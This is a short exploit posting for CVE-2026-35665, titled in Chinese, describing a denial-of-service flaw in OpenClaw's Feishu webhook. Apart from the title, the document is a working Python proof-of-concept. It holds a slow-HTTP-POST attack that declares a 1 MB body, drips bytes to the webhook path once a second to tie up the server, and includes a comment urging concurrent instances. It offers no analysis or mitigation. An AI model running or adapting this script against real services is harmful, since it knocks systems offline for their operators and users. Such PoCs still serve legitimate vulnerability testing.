CVE-2026-35665 OpenClaw Feishu Webhook 拒绝服务漏洞

import socket import time # PoC for CVE-2026-35665: OpenClaw DoS via Slow HTTP POST # Target: Feishu Webhook Endpoint # Configuration target_host = "192.168.1.100" target_port = 8080 path = "/api/webhook/feishu" # Adjust based on actual installation headers = [ f"POST {path} HTTP/1.1", f"Host: {target_host}", "Content-Type: application/json", "Content-Length: 1000000", # 1MB limit mentioned in vuln description "Connection: Keep-Alive", "\r\n" ] def send_slow_post(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_host, target_port)) # Send headers for header in headers: s.send((header + "\r\n").encode()) print("[+] Headers sent, starting slow body transmission...") # Send payload slowly to keep connection open # Sending 1000 bytes every 1 second for i in range(1000): s.send(("A" * 1000).encode()) time.sleep(1) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print(f"[*] Starting DoS PoC against {target_host}:{target_port}") # Note: Run multiple instances concurrently to simulate the attack send_slow_post()